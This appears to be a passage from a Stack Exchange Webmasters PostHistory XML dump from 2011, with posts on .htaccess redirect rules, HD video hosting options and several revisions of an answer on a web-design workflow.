  <row Id="33585" PostHistoryTypeId="25" PostId="14339" RevisionGUID="766878ed-da39-47d8-ac46-481cc11bacdb" CreationDate="2011-05-25T03:12:39.573" Comment="http://twitter.com/#!/StackWebmasters/status/73224933521620992" />
  <row Id="33586" PostHistoryTypeId="17" PostId="14341" RevisionGUID="97c03bf3-0e4b-4331-aeec-2d83b241832f" CreationDate="2011-05-25T04:49:30.390" UserId="-1" Comment="from http://stackoverflow.com/questions/6119399/htaccess-mobile-redirect-issues" Text="" />
  <row Id="33587" PostHistoryTypeId="2" PostId="14341" RevisionGUID="af182034-c022-4b3e-8814-79f215550582" CreationDate="2011-05-25T04:02:37.533" UserDisplayName="val" Text="H&#xD;&#xA;I'm trying to set up a mobile redirect for a site with 2 subfolders, and I cannot get both to work at the same time.  &#xD;&#xA;This is the structure of the site&#xD;&#xA;&#xD;&#xA;www.mysite.com/EN/&#xD;&#xA;www.mysite.com/ES/&#xD;&#xA;&#xD;&#xA;This is a bilingual site so each subfolder contains the files corresponding to each language version. Then I was using a 301 redirect, and setting up the index in /EN/ as the main index. Everything was getting redirected to it.&#xD;&#xA;I was using &#xD;&#xA;&#xD;&#xA;    DirectoryIndex index.html&#xD;&#xA;    Redirect /index.html http://www.mysite.com/EN/index.html&#xD;&#xA;&#xD;&#xA;And several Rewritecond to redirect mysite. Com and old urls to the new URL&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It worked fine before I decided to add a mobile version -&gt; m.mysite.com&#xD;&#xA;I used the solution provided in http://stackoverflow.com/questions/3680463/mobile-redirect-using-htaccess, and it redirect my mobile version properly, but now the desktop is both working. Besides, my mobile version must be bilingual as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33588" PostHistoryTypeId="1" PostId="14341" RevisionGUID="af182034-c022-4b3e-8814-79f215550582" CreationDate="2011-05-25T04:02:37.533" UserDisplayName="val" Text=".htaccess mobile redirect issues" />
  <row Id="33589" PostHistoryTypeId="3" PostId="14341" RevisionGUID="af182034-c022-4b3e-8814-79f215550582" CreationDate="2011-05-25T04:02:37.533" UserDisplayName="val" Text="&lt;htaccess&gt;&lt;redirects&gt;" />
  <row Id="33590" PostHistoryTypeId="8" PostId="14240" RevisionGUID="48f88ac1-5891-4c0f-b789-ea2cb5bc882a" CreationDate="2011-05-25T05:13:00.677" UserId="7739" Comment="Rollback to [05d82a57-b2c3-4588-8762-60aa93d90551]" Text="I am using the following set of htaccess code to not redirect my site(http://yy.com) directly in the url. I have another site(X) when the user logged in this site then he will be directed to the site y and also allowed to login their wp-admin panel. The current process is working fine as its way, the user is not allowed to redirected directly to the site(yy). The problem is when they tried to login in the admin side http://yy.com/wp-admin it is redirecting them to there i really don't need to go there also..&#xD;&#xA;&#xD;&#xA;My code&#xD;&#xA;&#xD;&#xA;&lt;IfModule mod_rewrite.c&gt;                                                            &#xD;&#xA;RewriteEngine On                    &#xD;&#xA;RewriteCond %{HTTP_REFERER} !(.*)zzz.com(.*)                  &#xD;&#xA;RewriteCond %{HTTP_REFERER} !(.*)yyy.com(.*)           &#xD;&#xA;RewriteCond %{REQUEST_URI}  !.*(wp\-login|wp\-admin|wp\-content|wp\-includes|wp          \-trackback).* [NC]                &#xD;&#xA;RewriteRule ^(.*)$ - [F] &#xD;&#xA;&lt;/IfModule&gt;    " />
  <row Id="33591" PostHistoryTypeId="17" PostId="14342" RevisionGUID="36bf6553-fa5e-4e27-bbdc-ab1c1520d2c0" CreationDate="2011-05-25T05:38:48.913" UserId="-1" Comment="from http://answers.onstartups.com/questions/25329/best-way-to-deliver-hd-video-for-a-small-userbase" Text="" />
  <row Id="33592" PostHistoryTypeId="2" PostId="14342" RevisionGUID="701e6b19-c2e7-492f-b9de-cba38e6cf5c9" CreationDate="2011-05-23T05:12:31.140" UserDisplayName="user8742" Text="I am developing a website with HD video sharing as one of its primary components. This is a bootstrapped startup and I was wondering what you would suggest for the best way to go about handling the video-related architecture/delivery. Here are the requirements:&#xD;&#xA;&#xD;&#xA;1) HD video (comparable to www.vimeo.com HD video quality ~ 2200kbps)&#xD;&#xA;&#xD;&#xA;2) Custom-designed flash video player&#xD;&#xA;&#xD;&#xA;3) Video should be streamed instantly. Little to no waiting. This is one of the main selling points of the site, and the video should be immediately playable.&#xD;&#xA;&#xD;&#xA;The first (testing) stage will be quite small, with, I estimate, about 1,000 users.&#xD;&#xA;&#xD;&#xA;I've looked into Brightcove (seems a bit overkill), Zencoder, and Encoding.com for video transcoding. Are there any good CDNs that have a pay-as-you-go plan? What would you suggest for the best way to 'bootsrap' this along within the given requirements?  " />
  <row Id="33593" PostHistoryTypeId="1" PostId="14342" RevisionGUID="701e6b19-c2e7-492f-b9de-cba38e6cf5c9" CreationDate="2011-05-23T05:12:31.140" UserDisplayName="user8742" Text="Best way to deliver HD video for a small userbase" />
  <row Id="33594" PostHistoryTypeId="3" PostId="14342" RevisionGUID="701e6b19-c2e7-492f-b9de-cba38e6cf5c9" CreationDate="2011-05-23T05:12:31.140" UserDisplayName="user8742" Text="&lt;websites&gt;&lt;video&gt;" />
  <row Id="33595" PostHistoryTypeId="25" PostId="14331" RevisionGUID="a97cb560-b894-438b-ab90-9142bb7e8243" CreationDate="2011-05-25T06:12:40.360" Comment="http://twitter.com/#!/StackWebmasters/status/73270234995359744" />
  <row Id="33596" PostHistoryTypeId="2" PostId="14343" RevisionGUID="fcf5ad49-ef19-4ec2-8d44-9508c9f999e5" CreationDate="2011-05-25T07:11:05.663" UserId="7798" Text="There was a header problem. Solved by creating the right pointer at the host admin's control panel. BTW , the &quot;searchdiscovered.com&quot; seems the default catchall kind of page put by the host company! If your heads are not defined properly, they shows these pages. They try to make some business gain out of such missing by the customer!   " />
  <row Id="33597" PostHistoryTypeId="2" PostId="14344" RevisionGUID="404c9609-62df-4476-9fb1-c2ae4bcb179b" CreationDate="2011-05-25T07:54:22.333" UserId="3214" Text="#When designing a website I start by asking why?&#xD;&#xA;&#xD;&#xA;The first part of my workflow is asking WHY?  If I'm working with a client I need to make sure they have a clear defined vision of what they want the website to accomplish.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##1. The Why Questions.&#xD;&#xA;- Tell me a bit about yourself and why you are doing this.&#xD;&#xA;&#xD;&#xA;- Who are the customers? What’s their specific need / pain? Please be able to provide me - with a few specific examples of different types of customers, what they need, what the website will do for them.&#xD;&#xA;&#xD;&#xA;- Tell me about the business. What is it that you exactly do?&#xD;&#xA;&#xD;&#xA;- What makes you better than the next guy?&#xD;&#xA;&#xD;&#xA;- If you were searching for the service your business provides what would YOU type into Google to find it?&#xD;&#xA;&#xD;&#xA;If your building the site for yourself then you better already know what these answers are.&#xD;&#xA;&#xD;&#xA;##2. The Research.&#xD;&#xA;&#xD;&#xA;Spend some time researching the client and his business.  Find out their past successes and any problems they have encountered.  Are you the 3rd developer they have hired?  What happened to the other 2 guys?&#xD;&#xA;&#xD;&#xA;Find out what the customer needs.  Who will you be building this site for.  Is the customer a 60 year old retired veteren or a 16 year old pimple faced kid who plays Farmville on Facebook all day.&#xD;&#xA;&#xD;&#xA;Find out who the competitors are.  They might not even know.  Do a competitive analysis of 5 to 10 competitors and find out who's ass we need to kick in the Serps.  This is the stage you need to know what your key word targets are.  Any later and your already failing.&#xD;&#xA;&#xD;&#xA;##3. The Mission -- [Have one][1]&#xD;&#xA;&#xD;&#xA;&gt; There’s a common theme here: in all of&#xD;&#xA;&gt; these cases, the mission isn’t about&#xD;&#xA;&gt; the product as such. The mission is&#xD;&#xA;&gt; “just” something that, if you’re&#xD;&#xA;&gt; really serious about, requires that&#xD;&#xA;&gt; the product become absolutely amazing,&#xD;&#xA;&gt; so you make that happen. If you&#xD;&#xA;&gt; prefer: these missions are all the&#xD;&#xA;&gt; answer to, why did we just add that&#xD;&#xA;&gt; new feature?, not, what new feature&#xD;&#xA;&gt; are we adding?&#xD;&#xA;&gt; &lt;cite&gt;--[Benjamin Pollack.][2] &lt;/cite&gt;&#xD;&#xA;&#xD;&#xA;The timeline needs to get nailed down during the mission page so everyone will have their expectations in perspective.&#xD;&#xA;&#xD;&#xA;##4. The Workflow&#xD;&#xA;&#xD;&#xA;I think this is the part the question was actually referring to.  I'll explain my process but you will have to decide what workflow is the best for your situation, team, client etc.&#xD;&#xA;&#xD;&#xA;1. For me **The Content** comes first.  I make make sure that the client has a majority of it done before any code is written.  We're not talking final draft proof editing but more or less the words of text that will be on the pages.  If a marketing team is involved this could take a while.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. You already have an idea of what the site is going to look like and know that you have the content the layout general design principles can be completed.  I HATE wireframes but understand that they are necessary.  This is for your protection and the clients. &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;3. Frontend development and UI - HTML, CSS and **[DESIGNING IN THE BROWSER](http://hardboiledwebdesign.com/about/)**, Andy Clarke's Hardboiled technique.  I'm tired of wasting so much time in Photoshop when I know can demonstrate a more realistic faster mockup that also gives me a head start on the development.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##4b. The Codebase&#xD;&#xA;&#xD;&#xA;You finally get to have some fun.  For yours and the clients benefit set up [VERSION CONTROL][3] before you get started.  Since your doing version control you should go ahead and set up [BUG TRACKING][4] while your at it.&#xD;&#xA;&#xD;&#xA;##5. Beta and UI Testing&#xD;&#xA;&#xD;&#xA;Get some real living breathing human beings to sit down in front of your site and start using it.  I like to enlist my mother who sometimes calls and [wants to know why her printer won't print][5] (The plug Mom,  It has to be plugged in first).  These kind of users need to be able to navigate your site unless of course were using the 16 year old pimple faced kid example above.&#xD;&#xA;&#xD;&#xA;##6. Maintenance Plan&#xD;&#xA;&#xD;&#xA;Just make sure their is one and everyone knows who's in charge of fighting off **[the server beasts][6]**&#xD;&#xA;&#xD;&#xA;##7. Launch&#xD;&#xA;Everything works? The mission of building awesomeness was achieved? Have a launch plan and execute it. Send the invoice rinse and repeat.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitquabit.com/post/have-a-mission/&#xD;&#xA;  [2]: http://bitquabit.com/page/about/&#xD;&#xA;  [3]: http://www.smashingmagazine.com/2008/09/18/the-top-7-open-source-version-control-systems/&#xD;&#xA;  [4]: http://www.fogcreek.com/fogbugz/&#xD;&#xA;  [5]: http://theoatmeal.com/blog/fix_computer&#xD;&#xA;  [6]: http://oatmeal.tumblr.com/post/2916375890/thank-you-tumblr" />
  <row Id="33598" PostHistoryTypeId="16" PostId="14344" RevisionGUID="323ad608-7829-4bb3-b89b-83a08b385a98" CreationDate="2011-05-25T07:54:22.333" UserId="3214" />
  <row Id="33599" PostHistoryTypeId="5" PostId="14075" RevisionGUID="84062677-ba1d-46c9-9b34-ecdd57b89527" CreationDate="2011-05-25T08:03:52.450" UserId="7383" Comment="added 84 characters in body" Text="The $ operator will let you extract backreferences from matches in rewrite rules and the % operator will let you extract references from conditions.&#xD;&#xA; &#xD;&#xA;    RewriteCond %{HTTP_HOST} !www.mysite.com$ [NC] # Presuming you don't want to do www&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(.*)\.mysite\.com [NC] # Catch subdomain&#xD;&#xA;    RewriteCond %{REQUEST_URI} !index\.php [NC] # Don't rewrite if we already have&#xD;&#xA;    RewriteRule ^(.*)$ /users/index.php?user=%1$1 [L]" />
  <row Id="33600" PostHistoryTypeId="5" PostId="14344" RevisionGUID="a888457b-97d0-477f-8b74-4da99c95463c" CreationDate="2011-05-25T08:12:45.010" UserId="3214" Comment="added 823 characters in body" Text="#When designing a website I start by asking why?&#xD;&#xA;&#xD;&#xA;The first part of my workflow is asking WHY?  If I'm working with a client I need to make sure they have a clear defined vision of what they want the website to accomplish.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##1. The Why Questions.&#xD;&#xA;- Tell me a bit about yourself and why you are doing this.&#xD;&#xA;&#xD;&#xA;- Who are the customers? What’s their specific need / pain? Please be able to provide me - with a few specific examples of different types of customers, what they need, what the website will do for them.&#xD;&#xA;&#xD;&#xA;- Tell me about the business. What is it that you exactly do?&#xD;&#xA;&#xD;&#xA;- What makes you better than the next guy?&#xD;&#xA;&#xD;&#xA;- If you were searching for the service your business provides what would YOU type into Google to find it?&#xD;&#xA;&#xD;&#xA;If your building the site for yourself then you better already know what these answers are.&#xD;&#xA;&#xD;&#xA;##2. The Research.&#xD;&#xA;&#xD;&#xA;Spend some time researching the client and his business.  Find out their past successes and any problems they have encountered.  Are you the 3rd developer they have hired?  What happened to the other 2 guys?&#xD;&#xA;&#xD;&#xA;Find out what the customer needs.  Who will you be building this site for.  Is the customer a 60 year old retired veteren or a 16 year old pimple faced kid who plays Farmville on Facebook all day.&#xD;&#xA;&#xD;&#xA;Find out who the competitors are.  They might not even know.  Do a competitive analysis of 5 to 10 competitors and find out who's ass we need to kick in the Serps.  This is the stage you need to know what the key word targets is.  Any later and your already failing.&#xD;&#xA;&#xD;&#xA;##3. The Mission -- [Have one][1]&#xD;&#xA;&#xD;&#xA;&gt; There’s a common theme here: in all of&#xD;&#xA;&gt; these cases, the mission isn’t about&#xD;&#xA;&gt; the product as such. The mission is&#xD;&#xA;&gt; “just” something that, if you’re&#xD;&#xA;&gt; really serious about, requires that&#xD;&#xA;&gt; the product become absolutely amazing,&#xD;&#xA;&gt; so you make that happen. If you&#xD;&#xA;&gt; prefer: these missions are all the&#xD;&#xA;&gt; answer to, why did we just add that&#xD;&#xA;&gt; new feature?, not, what new feature&#xD;&#xA;&gt; are we adding?&#xD;&#xA;&gt; &lt;cite&gt;--[Benjamin Pollack.][2] &lt;/cite&gt;&#xD;&#xA;&#xD;&#xA;The timeline needs to be established so everyone will have their expectations in perspective.&#xD;&#xA;&#xD;&#xA;##4. The Workflow&#xD;&#xA;&#xD;&#xA;This is where most people start so I will explain my process but you will have to decide what workflow is the best for your situation, team, client etc.&#xD;&#xA;&#xD;&#xA;1. For me **The Content** comes first.  I make make sure that the client has a majority of it done before any code is written.  We're not talking final draft proof editing but more or less the words of text that will be on the pages.  If a marketing team is involved this could take a while.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. You already have an idea of what the site is going to look like and know that you have the content the layout general design principles can be completed.  I HATE wireframes but understand that they are necessary.  This is for your protection and the clients. &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;3. Frontend development and UI - HTML, CSS and **[DESIGNING IN THE BROWSER](http://hardboiledwebdesign.com/about/)**, Andy Clarke's Hardboiled technique.  I'm tired of wasting so much time in Photoshop when I know can demonstrate a more realistic faster mockup that also gives me a head start on the development.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##4b. The Codebase&#xD;&#xA;&#xD;&#xA;You finally get to have some fun.  For yours and the clients benefit set up [VERSION CONTROL][3] before you get started.  Since your doing version control you should go ahead and set up [BUG TRACKING][4] while your at it.&#xD;&#xA;&#xD;&#xA;##4c.  Remember that content we have?  Now is when it has to be copy edited.  I suck at this so I try and hire someone else or make sure a lot of people read it.  Check and make sure those keywords we talked about in step 2 are optimized for SEO.  If our content is great and is actually about those key words this should come naturally.&#xD;&#xA;&#xD;&#xA;##5. Beta and UI Testing&#xD;&#xA;&#xD;&#xA;Get some real living breathing human beings to sit down in front of your site and start using it.  I like to enlist my mother who sometimes calls and [wants to know why her printer won't print][5] (The plug Mom,  It has to be plugged in first).  These kind of users need to be able to navigate your site unless of course were using the 16 year old pimple faced kid example above.&#xD;&#xA;&#xD;&#xA;##6. Maintenance and SEO Plan&#xD;&#xA;&#xD;&#xA;Just make sure their is one and everyone knows who's in charge of fighting off **[the server beasts][6]**.  In a month after launch refer back to the competitive analysis we did and compare our site to the ones we analyzed using the same metrics.  The SEO has to be worked all the time unless your [Stack Overflow][7] and have an army of 14.1 million users to generate quality content for you.  There is a big difference between quality content and the stuff you find on &quot;the hyphenated site&quot;, which I won't be linking.  (To prevent the no-follow juice from even flowing that way).&#xD;&#xA;&#xD;&#xA;##7. Launch&#xD;&#xA;Everything works? The mission of building awesomeness was achieved? Have a launch plan and execute it. Send the invoice rinse and repeat.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitquabit.com/post/have-a-mission/&#xD;&#xA;  [2]: http://bitquabit.com/page/about/&#xD;&#xA;  [3]: http://www.smashingmagazine.com/2008/09/18/the-top-7-open-source-version-control-systems/&#xD;&#xA;  [4]: http://www.fogcreek.com/fogbugz/&#xD;&#xA;  [5]: http://theoatmeal.com/blog/fix_computer&#xD;&#xA;  [6]: http://oatmeal.tumblr.com/post/2916375890/thank-you-tumblr&#xD;&#xA;  [7]: http://blog.stackoverflow.com/2011/04/page/2/" />
  <row Id="33601" PostHistoryTypeId="2" PostId="14345" RevisionGUID="f9f2b0d5-eb44-48d7-b9a2-8774499208ce" CreationDate="2011-05-25T08:27:36.607" UserId="1643" Text="Differences in font rendering between different browsers (and on different operating systems) is a fact of life. You just have to make sure that if the font displays at different widths your design can still cope." />
  <row Id="33602" PostHistoryTypeId="5" PostId="14344" RevisionGUID="0d157811-44bd-4f2d-89c2-f476ee88e8e3" CreationDate="2011-05-25T08:27:48.703" UserId="3214" Comment="added 416 characters in body" Text="#When designing a website I start by asking why?&#xD;&#xA;&#xD;&#xA;The first part of my workflow is asking WHY?  If I'm working with a client I need to make sure they have a clear defined vision of what they want the website to accomplish.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##1. The Why Questions.&#xD;&#xA;- Tell me a bit about yourself and why you are doing this.&#xD;&#xA;&#xD;&#xA;- Who are the customers? What’s their specific need / pain? Please be able to provide me - with a few specific examples of different types of customers, what they need, what the website will do for them.&#xD;&#xA;&#xD;&#xA;- Tell me about the business. What is it that you exactly do?&#xD;&#xA;&#xD;&#xA;- What makes you better than the next guy?&#xD;&#xA;&#xD;&#xA;- If you were searching for the service your business provides what would YOU type into Google to find it?&#xD;&#xA;&#xD;&#xA;If your building the site for yourself then you better already know what these answers are.&#xD;&#xA;&#xD;&#xA;##2. The Research.&#xD;&#xA;&#xD;&#xA;Spend some time researching the client and his business.  Find out their past successes and any problems they have encountered.  Are you the 3rd developer they have hired?  What happened to the other 2 guys?&#xD;&#xA;&#xD;&#xA;Find out what the customer needs.  Who will you be building this site for.  Is the customer a 60 year old retired veteren or a 16 year old pimple faced kid who plays Farmville on Facebook all day.&#xD;&#xA;&#xD;&#xA;Find out who the competitors are.  They might not even know.  Do a competitive analysis of 5 to 10 competitors and find out who's ass we need to kick in the Serps.  This is the stage you need to know what the key word targets is.  Any later and your already failing.&#xD;&#xA;&#xD;&#xA;##3. The Mission -- [Have one][1]&#xD;&#xA;&#xD;&#xA;&gt; There’s a common theme here: in all of&#xD;&#xA;&gt; these cases, the mission isn’t about&#xD;&#xA;&gt; the product as such. The mission is&#xD;&#xA;&gt; “just” something that, if you’re&#xD;&#xA;&gt; really serious about, requires that&#xD;&#xA;&gt; the product become absolutely amazing,&#xD;&#xA;&gt; so you make that happen. If you&#xD;&#xA;&gt; prefer: these missions are all the&#xD;&#xA;&gt; answer to, why did we just add that&#xD;&#xA;&gt; new feature?, not, what new feature&#xD;&#xA;&gt; are we adding?&#xD;&#xA;&gt; &lt;cite&gt;--[Benjamin Pollack.][2] &lt;/cite&gt;&#xD;&#xA;&#xD;&#xA;The timeline needs to be established so everyone will have their expectations in perspective.&#xD;&#xA;&#xD;&#xA;##4. The Workflow&#xD;&#xA;&#xD;&#xA;This is where most people start so I will explain my process but you will have to decide what workflow is the best for your situation, team, client etc.&#xD;&#xA;&#xD;&#xA;1. For me **The Content** comes first.  I make make sure that the client has a majority of it done before any code is written.  We're not talking final draft proof editing but more or less the words of text that will be on the pages.  If a marketing team is involved this could take a while.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. You already have an idea of what the site is going to look like and know that you have the content the layout general design principles can be completed.  I HATE wireframes but understand that they are necessary.  This is for your protection and the clients. &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;3. Frontend development and UI - HTML, CSS and **[DESIGNING IN THE BROWSER](http://hardboiledwebdesign.com/about/)**, Andy Clarke's Hardboiled technique.  I'm tired of wasting so much time in Photoshop when I know can demonstrate a more realistic faster mockup that also gives me a head start on the development.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##4b. The Codebase&#xD;&#xA;&#xD;&#xA;You finally get to have some fun.  For yours and the clients benefit set up [VERSION CONTROL][3] before you get started.  Since your doing version control you should go ahead and set up [BUG TRACKING][4] while your at it.&#xD;&#xA;&#xD;&#xA;##4c. Copy Editing&#xD;&#xA;&#xD;&#xA;Remember that content we have?  Now is when it has to be copy edited.  I suck at this so I try and hire someone else or make sure a lot of people read it.  Check and make sure those keywords we talked about in step 2 are optimized for SEO.  If our content is great and is actually about those key words this should come naturally.&#xD;&#xA;&#xD;&#xA;##5. Beta and UI Testing&#xD;&#xA;&#xD;&#xA;Get some real living breathing human beings to sit down in front of your site and start using it.  I like to enlist my mother who sometimes calls and [wants to know why her printer won't print][5] (The plug Mom,  It has to be plugged in first).  These kind of users need to be able to navigate your site unless of course were using the 16 year old pimple faced kid example above.&#xD;&#xA;&#xD;&#xA;##6. Maintenance and SEO Plan&#xD;&#xA;&#xD;&#xA;Make sure everyone knows who's in charge of fighting off **[the server beasts][6]**.  &#xD;&#xA;&#xD;&#xA;In a month refer back to the competitive analysis we did and compare our site to the ones we analyzed.  Use this data to create your SEO plan and NO I'm not talking about the snake oil SEO, I'm talking about making sure your still generating relavent content, sites are naturally linking to you (because your so awesome) and your title tags match the body text.  SEO is a long process unless your [Stack Overflow][7] and have an army of 14.1 million users to generate quality content for you.  There is a big difference between quality content and the stuff you find on &quot;the hyphenated site&quot;, which I won't be linking.  (To prevent the no-follow juice from even dripping on them).&#xD;&#xA;&#xD;&#xA;##7. Launch&#xD;&#xA;Everything works? The mission of building awesomeness was achieved? Have a launch plan and execute it.  &#xD;&#xA;&#xD;&#xA;If you did everything right in steps 1 - 6 your launch &lt;strike&gt; will be a breeze&lt;/strike&gt; no strike that &lt;strike&gt; you might&lt;/strike&gt; you will have problems.  Just be ready for them and fix any mistakes.&#xD;&#xA;&#xD;&#xA;Send the invoice, rinse and repeat.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitquabit.com/post/have-a-mission/&#xD;&#xA;  [2]: http://bitquabit.com/page/about/&#xD;&#xA;  [3]: http://www.smashingmagazine.com/2008/09/18/the-top-7-open-source-version-control-systems/&#xD;&#xA;  [4]: http://www.fogcreek.com/fogbugz/&#xD;&#xA;  [5]: http://theoatmeal.com/blog/fix_computer&#xD;&#xA;  [6]: http://oatmeal.tumblr.com/post/2916375890/thank-you-tumblr&#xD;&#xA;  [7]: http://blog.stackoverflow.com/2011/04/page/2/" />
  <row Id="33603" PostHistoryTypeId="2" PostId="14346" RevisionGUID="6225d935-12d7-42b1-99ba-d88f9d19e4d4" CreationDate="2011-05-25T08:28:09.227" UserId="7198" Text="**Video hosting providers**  &#xD;&#xA;[Watershed](https://watershed.ustream.tv/) from Ustream offers [Pay as You Go Pricing](https://watershed.ustream.tv/product/pricing) starting at $1 per 'viewer hour', where 60 plays of a one minute video cost you $1. PAYG pricing is generally much more expensive and can feel like signing a blank cheque, but it might suit you to begin with if your videos are short. Just keep a close eye on usage and consider migrating to a monthly package at $49 for 500 hours (potentially saving $451/month).&#xD;&#xA;&#xD;&#xA;[Vzaar](http://vzaar.com/pricing) doesn't offer PAYG pricing, but their basic monthly plan at $49 for 50GB of playback bandwidth seems reasonable. It's hard to compare bandwidth-based pricing with viewer hour pricing, but you could estimate it by calculating the size of a one-minute video using whatever compression method you adopt.&#xD;&#xA;&#xD;&#xA;[Vimeo Plus](http://www.vimeo.com/plus) offers a great service for $9.95 a month (or $59.95/year), allowing you to control what domains videos can be embedded on, upload up to 5GB of video a month (no mentioned cap on monthly bandwidth or total storage), customise the video player, prevent your video appearing on Vimeo.com (great for member-only sites) and more.&#xD;&#xA;&#xD;&#xA;**Do it yourself solutions**  &#xD;&#xA;An alternative is to host your video files on [Amazon S3](http://aws.amazon.com/s3/) or [Amazon Cloudfront](http://aws.amazon.com/cloudfront/), then use a Flash media player such as [Flowplayer](http://flowplayer.org/index.html) for playback. Amazon detail the [setup procedure here,](http://aws.typepad.com/aws/2009/12/amazon-cloudfront-now-supports-streaming-media-content.html) and there is sample code in the [Flowplayer forum](http://flowplayer.org/forum/2/39726) that shows Flowplayer working with Cloudfront. Again, you'd need to estimate pricing based on file size and bandwidth, and compare Amazon's pricing with other CDN services, such as [Rackspace Cloud Files.](http://www.rackspace.com/cloud/cloud_hosting_products/files/)&#xD;&#xA;&#xD;&#xA;**Which to pick?**  &#xD;&#xA;If you have a *lot* of time and technical expertise and money is tight, I'd suggest hosting the files on Amazon and rolling your own playback solution. If you need to get something up fast and can afford the monthly fees, or you don't have the skills or inclination to roll your own solution, pick one of the video hosting platforms.&#xD;&#xA;&#xD;&#xA;Also consider that, while DIY solutions can seem tempting if you're a programmer, they often turn out to be false economy and giant time sucks for an agile startup. Sometimes, it's better to splash the cash and get the darn thing launched. If I were bootstrapping a video learning site, I'd pick [Vimeo Plus](http://www.vimeo.com/plus) and spend my time marketing instead of programming, then move to [Brightcove](http://www.brightcove.com/) or one of the above mentioned alternatives if I outgrew Vimeo.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33604" PostHistoryTypeId="5" PostId="14344" RevisionGUID="f2ca5768-9bd9-4714-8556-aa5c090a5acc" CreationDate="2011-05-25T08:40:11.120" UserId="3214" Comment="Copy editing.  I keep finding mistakes." Text="#When designing a website I start by asking why?&#xD;&#xA;&#xD;&#xA;The first part of my workflow is asking WHY?  If I'm working with a client I need to make sure they have a clear defined vision of what they want the website to accomplish.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##1. The Why Questions.&#xD;&#xA;- Tell me a bit about yourself and why you are doing this.&#xD;&#xA;&#xD;&#xA;- Who are the customers? What’s their specific need / pain? Please be able to provide me - with a few specific examples of different types of customers, what they need, what the website will do for them.&#xD;&#xA;&#xD;&#xA;- Tell me about the business. What is it that you exactly do?&#xD;&#xA;&#xD;&#xA;- What makes you better than the next guy?&#xD;&#xA;&#xD;&#xA;- If you were searching for the service your business provides what would YOU type into Google to find it?&#xD;&#xA;&#xD;&#xA;If your building the site for yourself then you better already know what these answers are.&#xD;&#xA;&#xD;&#xA;If you determine based on the answers to the questions above that these people are serious and actually have a good idea.  Then proceed (Remember you are not getting paid yet but you better kock their socks off if you want them to hire you.)&#xD;&#xA;&#xD;&#xA;##2. The Research.&#xD;&#xA;&#xD;&#xA;Spend some time researching the client and his business.  Find out their past successes and any problems they have encountered.  Are you the 3rd developer they have hired?  What happened to the other 2 guys?&#xD;&#xA;&#xD;&#xA;Find out what the customer needs.  Who will you be building this site for.  Is the customer a 60 year old retired veteren or a 16 year old pimple faced kid who plays Farmville on Facebook all day.&#xD;&#xA;&#xD;&#xA;Find out who the competitors are.  They might not even know.  Do a competitive analysis of 5 to 10 competitors and find out who's ass we need to kick in the Serps.  This is the stage you need to know what the key word targets is.  Any later and your already failing.&#xD;&#xA;&#xD;&#xA;##2b The Proposal&#xD;&#xA;&#xD;&#xA;Blow them away with your knowledge of their business and come up with a website agreement / proposal and be ready with your contract once they agree. Get the signed contract and a 50% deposit then proceed to step 3.&#xD;&#xA;&#xD;&#xA;##3. The Mission -- [Have one][1]&#xD;&#xA;&#xD;&#xA;&gt; There’s a common theme here: in all of&#xD;&#xA;&gt; these cases, the mission isn’t about&#xD;&#xA;&gt; the product as such. The mission is&#xD;&#xA;&gt; “just” something that, if you’re&#xD;&#xA;&gt; really serious about, requires that&#xD;&#xA;&gt; the product become absolutely amazing,&#xD;&#xA;&gt; so you make that happen. If you&#xD;&#xA;&gt; prefer: these missions are all the&#xD;&#xA;&gt; answer to, why did we just add that&#xD;&#xA;&gt; new feature?, not, what new feature&#xD;&#xA;&gt; are we adding?&#xD;&#xA;&gt; &lt;cite&gt;--[Benjamin Pollack.][2] &lt;/cite&gt;&#xD;&#xA;&#xD;&#xA;The timeline needs to be established so everyone will have their expectations in perspective.&#xD;&#xA;&#xD;&#xA;##4. The Workflow&#xD;&#xA;&#xD;&#xA;This is where most people start so I will explain my process but you will have to decide what workflow is the best for your situation, team, client etc.&#xD;&#xA;&#xD;&#xA;1. For me **The Content** comes first.  I make make sure that the client has a majority of it done before any code is written.  We're not talking final draft proof editing but more or less the words of text that will be on the pages.  If a marketing team is involved this could take a while.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. You should already have an idea of what the site will look like. You should have the content. Now you need to work on the layout and general design principles that will accomplish the goal you came up with in step 3.  &#xD;&#xA;&#xD;&#xA;I HATE wireframes but understand that they are necessary.  Just because you know what the site looks like your client might not. This is for your protection and the clients.  When everyone is happy make them sign off on something that says &quot;This is what we are paying you to build&quot;. &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;3. Frontend development and UI - HTML, CSS and **[DESIGNING IN THE BROWSER](http://hardboiledwebdesign.com/about/)**, Andy Clarke's Hardboiled technique.  I'm tired of wasting so much time in Photoshop when I know can demonstrate a more realistic faster mockup that also gives me a head start on the development.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##4b. The Codebase&#xD;&#xA;&#xD;&#xA;You finally get to have some fun.  For yours and the clients benefit set up [VERSION CONTROL][3] before you get started.  Since your doing version control you should go ahead and set up [BUG TRACKING][4] while your at it.&#xD;&#xA;&#xD;&#xA;##4c. Copy Editing&#xD;&#xA;&#xD;&#xA;Remember that content we have?  Now is when it has to be copy edited.  I suck at this so I try and hire someone else or make sure a lot of people read it.  Check and make sure those keywords we talked about in step 2 are optimized for SEO.  If our content is great and is actually about those key words this should come naturally.&#xD;&#xA;&#xD;&#xA;##5. Beta and UI 